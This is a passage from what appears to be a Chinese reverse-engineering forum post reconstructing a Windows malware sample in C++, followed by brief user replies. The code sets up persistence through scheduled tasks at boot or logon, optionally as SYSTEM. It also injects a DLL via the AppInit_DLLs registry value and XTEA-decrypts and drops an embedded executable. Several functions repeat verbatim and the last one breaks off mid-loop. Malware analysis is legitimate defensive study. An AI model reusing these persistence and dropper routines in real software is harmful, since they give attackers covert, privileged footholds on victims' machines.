    CoInitializeEx(NULL, COINIT_MULTITHREADED);
    //创建对象
    ITaskScheduler* pTaskScheduler = NULL;
    CoCreateInstance(CLSID_CTaskScheduler,NULL,1, IID_ITaskScheduler,(LPVOID*)&pTaskScheduler);
    //删除任务
    pTaskScheduler->Delete(Global::g_szSubStr2);
    //创建工作项
    ITask* pTask = NULL;
    pTaskScheduler->NewWorkItem(Global::g_szSubStr2, CLSID_CTask, IID_ITask, (IUnknown**)&pTask);
    if (pTask != NULL)
    {
        //创建触发器
        WORD nNewTrigger;
        ITaskTrigger* pTrigger = NULL;
        pTask->CreateTrigger(&nNewTrigger, &pTrigger);
 
        //设置任务触发器的触发器条件
        TASK_TRIGGER trigger = { 0 };
        trigger.cbTriggerSize = sizeof(trigger);
        trigger.wBeginYear = 2000;
        trigger.wBeginMonth = 1;
        trigger.wBeginDay = 1;
        trigger.MinutesDuration = 0xFFFF;
        trigger.TriggerType = TASK_EVENT_TRIGGER_AT_SYSTEMSTART;
        pTrigger->SetTrigger(&trigger);
 
        //将特定应用程序分配给当前任务
        pTask->SetApplicationName(Global::g_szExistingFileName);
        //设置用于运行工作项的帐户名称和密码
        pTask->SetAccountInformation(L"", NULL);
        //设置任务的命令行参数
        pTask->SetParameters(Global::g_szSubStr1);
 
        //查询接口
        IPersistFile* pPersistFile = NULL;
        pTask->QueryInterface(IID_IPersist, (void**)&pPersistFile);
        if (pPersistFile != NULL)
        {
            //对象的副本保存到指定的文件中
            pPersistFile->Save(NULL, TRUE);
            //减少引用计数
            pPersistFile->Release();
        }
        //loc_4017D7
        pTask->Run(); //向任务计划程序服务发送运行 工作项的请求
        //减少引用计数
        pTask->Release();
        pTrigger->Release();
        pTaskScheduler->Release();
        //关闭COM
        CoUninitialize();
    }
}
bool sub_401830(DWORD p0)
{
    //初始化COM
    CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
    //注册安全性并设置进程的默认安全值
    CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
        RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL);
 
    //创建对象
    ITaskService* pTaskService = NULL;
    CoCreateInstance(CLSID_TaskScheduler, NULL, 1, IID_ITaskService, (LPVOID*)&pTaskService);
 
    //连接计算机
    pTaskService->Connect({ 0 }, { 0 }, { 0 }, { 0 });
    //获取已注册任务的文件夹
    ITaskFolder* pFolder = NULL;
    WCHAR str[] = L"\\";
    pTaskService->GetFolder(str, &pFolder);
    //获取用设置和属性填充的空任务定义对象
    ITaskDefinition* pDefinition = NULL;
    pTaskService->NewTask(0, &pDefinition);
    //减少引用计数
    pTaskService->Release();
 
    //获取任务设置接口
    ITaskSettings* pSettings = NULL;
    pDefinition->get_Settings(&pSettings);
    //启用延迟启动
    pSettings->put_StartWhenAvailable(TRUE);
    //减少引用计数
    pSettings->Release();
 
    //获取或设置用于启动任务的触发器的集合
    ITriggerCollection* pTriggerCollection = NULL;
    pDefinition->get_Triggers(&pTriggerCollection);
    IBootTrigger* pBootTrigger = NULL;
    ITrigger* pTrigger = NULL;
    WCHAR strId[] = L"1";
    if (p0 != 0)
    {
        //为任务创建新触发器
        pTriggerCollection->Create(TASK_TRIGGER_BOOT, &pTrigger);
        //减少引用计数
        pTriggerCollection->Release();
 
        //查询接口
        pBootTrigger = NULL;
        pTrigger->QueryInterface(IID_IBootTrigger, (void**)&pBootTrigger);
        //减少引用计数
        pTrigger->Release();
 
        pBootTrigger->put_Id(strId);
    }
    else //loc_401ADA
    {
        //为任务创建新触发器
        pTriggerCollection->Create(TASK_TRIGGER_LOGON, &pTrigger);
        //减少引用计数
        pTriggerCollection->Release();
 
        //查询接口
        ILogonTrigger* pLogonTrigger = NULL;
        pTrigger->QueryInterface(IID_ILogonTrigger, (void**)&pLogonTrigger);
        //减少引用计数
        pTrigger->Release();
 
        WCHAR szUserName[256];
        DWORD dwSize = 256;
        GetUserNameW(szUserName, &dwSize);
         
        pLogonTrigger->put_UserId(szUserName);
        pLogonTrigger->put_Id(strId);
        IPrincipal* pPrincipal = NULL;
        pDefinition->get_Principal(&pPrincipal);
    }
    //loc_401BB8
 
    //获取任务执行的集合
    IActionCollection* pActionCollention = NULL;
    pDefinition->get_Actions(&pActionCollention);
 
    //创建一个新操作并将其添加到集合
    IAction* pAction = NULL;
    pActionCollention->Create(TASK_ACTION_EXEC, &pAction);
    pActionCollention->Release();
 
    //查询接口
    IExecAction* pExecAction = NULL;
    pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction);
    pAction->Release();
    //设置程序路径
    pExecAction->put_Path(Global::g_szExistingFileName);
    //设置命令行参数
    pExecAction->put_Arguments(Global::g_szSubStr1);
    pExecAction->Release();
 
    IRegisteredTask* pTask = NULL;
 
    if (p0 != 0)
    {
        //注册一个以 NT AUTHORITY\SYSTEM 系统账户运行的任务
        BSTR strPath = SysAllocString(L"NT AUTHORITY\\SYSTEM");
        VARIANT user;
        user.vt = VT_BSTR;
        user.bstrVal = strPath;
        pFolder->RegisterTaskDefinition(Global::g_szSubStr2,
            pDefinition, TASK_CREATE_OR_UPDATE, user, { 0 }, TASK_LOGON_SERVICE_ACCOUNT,
            { 0 }, &pTask);
    }
    else //loc_401D3E
    {
        //注册任务
        pFolder->RegisterTaskDefinition(Global::g_szSubStr2,
            pDefinition, TASK_CREATE_OR_UPDATE, { 0 }, { 0 }, TASK_LOGON_INTERACTIVE_TOKEN,
            { 0 }, &pTask);
    }
    //loc_401DAB
    pFolder->Release();
    pDefinition->Release();
 
    if (pTask != NULL)
    {
        //立即运行已注册的任务
        IRunningTask* pRunningTask = NULL;
        VARIANT v;
        v.vt = VT_NULL;
        pTask->Run(v, &pRunningTask);
        if (pRunningTask != NULL)
        {
            pRunningTask->Release();
        }
        pTask->Release();
        CoUninitialize();
        return true;
    }
    CoUninitialize();
    return false;
}
bool sub_401830(DWORD p0)
{
    //初始化COM
    CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
    //注册安全性并设置进程的默认安全值
    CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
        RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL);
 
    //创建对象
    ITaskService* pTaskService = NULL;
    CoCreateInstance(CLSID_TaskScheduler, NULL, 1, IID_ITaskService, (LPVOID*)&pTaskService);
 
    //连接计算机
    pTaskService->Connect({ 0 }, { 0 }, { 0 }, { 0 });
    //获取已注册任务的文件夹
    ITaskFolder* pFolder = NULL;
    WCHAR str[] = L"\\";
    pTaskService->GetFolder(str, &pFolder);
    //获取用设置和属性填充的空任务定义对象
    ITaskDefinition* pDefinition = NULL;
    pTaskService->NewTask(0, &pDefinition);
    //减少引用计数
    pTaskService->Release();
 
    //获取任务设置接口
    ITaskSettings* pSettings = NULL;
    pDefinition->get_Settings(&pSettings);
    //启用延迟启动
    pSettings->put_StartWhenAvailable(TRUE);
    //减少引用计数
    pSettings->Release();
 
    //获取或设置用于启动任务的触发器的集合
    ITriggerCollection* pTriggerCollection = NULL;
    pDefinition->get_Triggers(&pTriggerCollection);
    IBootTrigger* pBootTrigger = NULL;
    ITrigger* pTrigger = NULL;
    WCHAR strId[] = L"1";
    if (p0 != 0)
    {
        //为任务创建新触发器
        pTriggerCollection->Create(TASK_TRIGGER_BOOT, &pTrigger);
        //减少引用计数
        pTriggerCollection->Release();
 
        //查询接口
        pBootTrigger = NULL;
        pTrigger->QueryInterface(IID_IBootTrigger, (void**)&pBootTrigger);
        //减少引用计数
        pTrigger->Release();
 
        pBootTrigger->put_Id(strId);
    }
    else //loc_401ADA
    {
        //为任务创建新触发器
        pTriggerCollection->Create(TASK_TRIGGER_LOGON, &pTrigger);
        //减少引用计数
        pTriggerCollection->Release();
 
        //查询接口
        ILogonTrigger* pLogonTrigger = NULL;
        pTrigger->QueryInterface(IID_ILogonTrigger, (void**)&pLogonTrigger);
        //减少引用计数
        pTrigger->Release();
 
        WCHAR szUserName[256];
        DWORD dwSize = 256;
        GetUserNameW(szUserName, &dwSize);
         
        pLogonTrigger->put_UserId(szUserName);
        pLogonTrigger->put_Id(strId);
        IPrincipal* pPrincipal = NULL;
        pDefinition->get_Principal(&pPrincipal);
    }
    //loc_401BB8
 
    //获取任务执行的集合
    IActionCollection* pActionCollention = NULL;
    pDefinition->get_Actions(&pActionCollention);
 
    //创建一个新操作并将其添加到集合
    IAction* pAction = NULL;
    pActionCollention->Create(TASK_ACTION_EXEC, &pAction);
    pActionCollention->Release();
 
    //查询接口
    IExecAction* pExecAction = NULL;
    pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction);
    pAction->Release();
    //设置程序路径
    pExecAction->put_Path(Global::g_szExistingFileName);
    //设置命令行参数
    pExecAction->put_Arguments(Global::g_szSubStr1);
    pExecAction->Release();
 
    IRegisteredTask* pTask = NULL;
 
    if (p0 != 0)
    {
        //注册一个以 NT AUTHORITY\SYSTEM 系统账户运行的任务
        BSTR strPath = SysAllocString(L"NT AUTHORITY\\SYSTEM");
        VARIANT user;
        user.vt = VT_BSTR;
        user.bstrVal = strPath;
        pFolder->RegisterTaskDefinition(Global::g_szSubStr2,
            pDefinition, TASK_CREATE_OR_UPDATE, user, { 0 }, TASK_LOGON_SERVICE_ACCOUNT,
            { 0 }, &pTask);
    }
    else //loc_401D3E
    {
        //注册任务
        pFolder->RegisterTaskDefinition(Global::g_szSubStr2,
            pDefinition, TASK_CREATE_OR_UPDATE, { 0 }, { 0 }, TASK_LOGON_INTERACTIVE_TOKEN,
            { 0 }, &pTask);
    }
    //loc_401DAB
    pFolder->Release();
    pDefinition->Release();
 
    if (pTask != NULL)
    {
        //立即运行已注册的任务
        IRunningTask* pRunningTask = NULL;
        VARIANT v;
        v.vt = VT_NULL;
        pTask->Run(v, &pRunningTask);
        if (pRunningTask != NULL)
        {
            pRunningTask->Release();
        }
        pTask->Release();
        CoUninitialize();
        return true;
    }
    CoUninitialize();
    return false;
}
bool sub_4013A0()
{
    HKEY pResult;
    //打开注册表
    LSTATUS nRet = RegOpenKeyExW(HKEY_LOCAL_MACHINE,
        L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows",
        0, KEY_QUERY_VALUE | KEY_SET_VALUE, &pResult);
    if (nRet != ERROR_SUCCESS)
    {
        return false;
    }
    //设置注册表项
    nRet = RegSetValueExW(pResult,
        L"AppInit_DLLS", 0, REG_SZ,
        (BYTE*)Global::g_szFileName,
        wcslen(Global::g_szFileName));
    if (nRet != ERROR_SUCCESS)
    {
        return false;
    }
    DWORD dwData = 1;
    RegSetValueExW(pResult,
        L"LoadAppInit_DLLs", 0, REG_SZ,
        (BYTE*)&dwData,
        sizeof(dwData));
    //关闭注册表
    RegCloseKey(pResult);
 
    //key
    DWORD var_28[] = { Global::g_dword_40AB30 ,Global::g_dword_40AB34 };
    DWORD var_14[] = { Global::g_dword_40AB20 ,Global::g_dword_40AB24,
        Global::g_dword_40AB28, Global::g_dword_40AB2C };
 
    //计算加密数据字节数
    DWORD dwNumberOfBytesToWrite = 0;
    DWORD* pEax = (DWORD*)Global::g_byte_40AB38;
    while ((pEax[0] | pEax[1]) != 0)
    {
        dwNumberOfBytesToWrite += 8;
        pEax += 2;
    }
    //解密PE,将解密数据存放到Global::g_byte_40AB38
    sub_401200(Global::g_byte_40AB38, Global::g_byte_40AB38, dwNumberOfBytesToWrite, var_14, var_28);
    //创建文件
    HANDLE hFile = CreateFileW(Global::g_szFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
    if (hFile != INVALID_HANDLE_VALUE)
    {
        //写文件
        WriteFile(hFile, Global::g_byte_40AB38, dwNumberOfBytesToWrite,&dwNumberOfBytesToWrite, NULL);
        //关闭文件
        CloseHandle(hFile);
    }
    return TRUE;
}
bool sub_4013A0()
{
    HKEY pResult;
    //打开注册表
    LSTATUS nRet = RegOpenKeyExW(HKEY_LOCAL_MACHINE,
        L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows",
        0, KEY_QUERY_VALUE | KEY_SET_VALUE, &pResult);
    if (nRet != ERROR_SUCCESS)
    {
        return false;
    }
    //设置注册表项
    nRet = RegSetValueExW(pResult,
        L"AppInit_DLLS", 0, REG_SZ,
        (BYTE*)Global::g_szFileName,
        wcslen(Global::g_szFileName));
    if (nRet != ERROR_SUCCESS)
    {
        return false;
    }
    DWORD dwData = 1;
    RegSetValueExW(pResult,
        L"LoadAppInit_DLLs", 0, REG_SZ,
        (BYTE*)&dwData,
        sizeof(dwData));
    //关闭注册表
    RegCloseKey(pResult);
 
    //key
    DWORD var_28[] = { Global::g_dword_40AB30 ,Global::g_dword_40AB34 };
    DWORD var_14[] = { Global::g_dword_40AB20 ,Global::g_dword_40AB24,
        Global::g_dword_40AB28, Global::g_dword_40AB2C };
 
    //计算加密数据字节数
    DWORD dwNumberOfBytesToWrite = 0;
    DWORD* pEax = (DWORD*)Global::g_byte_40AB38;
    while ((pEax[0] | pEax[1]) != 0)
    {
        dwNumberOfBytesToWrite += 8;
        pEax += 2;
    }
    //解密PE,将解密数据存放到Global::g_byte_40AB38
    sub_401200(Global::g_byte_40AB38, Global::g_byte_40AB38, dwNumberOfBytesToWrite, var_14, var_28);
    //创建文件
    HANDLE hFile = CreateFileW(Global::g_szFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
    if (hFile != INVALID_HANDLE_VALUE)
    {
        //写文件
        WriteFile(hFile, Global::g_byte_40AB38, dwNumberOfBytesToWrite,&dwNumberOfBytesToWrite, NULL);
        //关闭文件
        CloseHandle(hFile);
    }
    return TRUE;
}
void sub_401200(BYTE* pSrc, BYTE* pDst,DWORD dwSize, DWORD key1[4], DWORD key2[2])
{
    INT32 var_c = ((dwSize + 7) / 8) - 1;
     
    while (var_c >= 0)
    {
        BYTE* var_8 = &pSrc[var_c * 8 - 8];
        if (var_c == 0)
        {
            var_8 = (BYTE*)key2;
        }
        DWORD dwEcx = bswap32(*(DWORD*)(&pSrc[var_c * 8]));
        DWORD dwEax = bswap32(*(DWORD*)(&pSrc[var_c * 8 + 4]));
        DWORD dwEdx = 0x0C6EF3720;
        for (DWORD i = 0; i < 32; i++)
        {
            DWORD dwEsi = (bswap32(key1[(dwEdx >> 0xB) & 3]) + dwEdx) ^ (((dwEcx >> 0x5) ^ (dwEcx << 0x4)) + dwEcx);
            dwEax = dwEax - dwEsi;
            dwEdx = dwEdx + 0x61C88647;
            dwEsi = (bswap32(key1[dwEdx & 3]) + dwEdx) ^ (((dwEax >> 5) ^ (dwEax << 4)) + dwEax);
            dwEcx = dwEcx - dwEsi;
        }
        *(DWORD*)(&pDst[var_c * 8]) = bswap32(dwEcx) ^ (((DWORD*)var_8)[0]);
        *(DWORD*)(&pDst[var_c * 8 + 4]) = bswap32(dwEax) ^ (((DWORD*)var_8)[1]);
        var_c--;
    }
}
void sub_401200(BYTE* pSrc, BYTE* pDst,DWORD dwSize, DWORD key1[4], DWORD key2[2])
{
    INT32 var_c = ((dwSize + 7) / 8) - 1;
     
    while (var_c >= 0)
    {
        BYTE* var_8 = &pSrc[var_c * 8 - 8];
        if (var_c == 0)
        {
            var_8 = (BYTE*)key2;
        }
        DWORD dwEcx = bswap32(*(DWORD*)(&pSrc[var_c * 8]));
        DWORD dwEax = bswap32(*(DWORD*)(&pSrc[var_c * 8 + 4]));
        DWORD dwEdx = 0x0C6EF3720;
        for (DWORD i = 0; i < 32; i++)

[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

上传的附件:
收藏
免费 1
支持
分享
最新回复 (3)
雪    币: 1057
活跃值: (2936)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
deepseek说那是xtea算法
2025-7-17 07:07
0
雪    币: 42
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3
能私聊吗
2025-7-20 15:49
0
雪    币: 39
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
4
你好,能私聊吗,有事请求
2025-8-2 00:24
0
游客
登录 | 注册 方可回帖
返回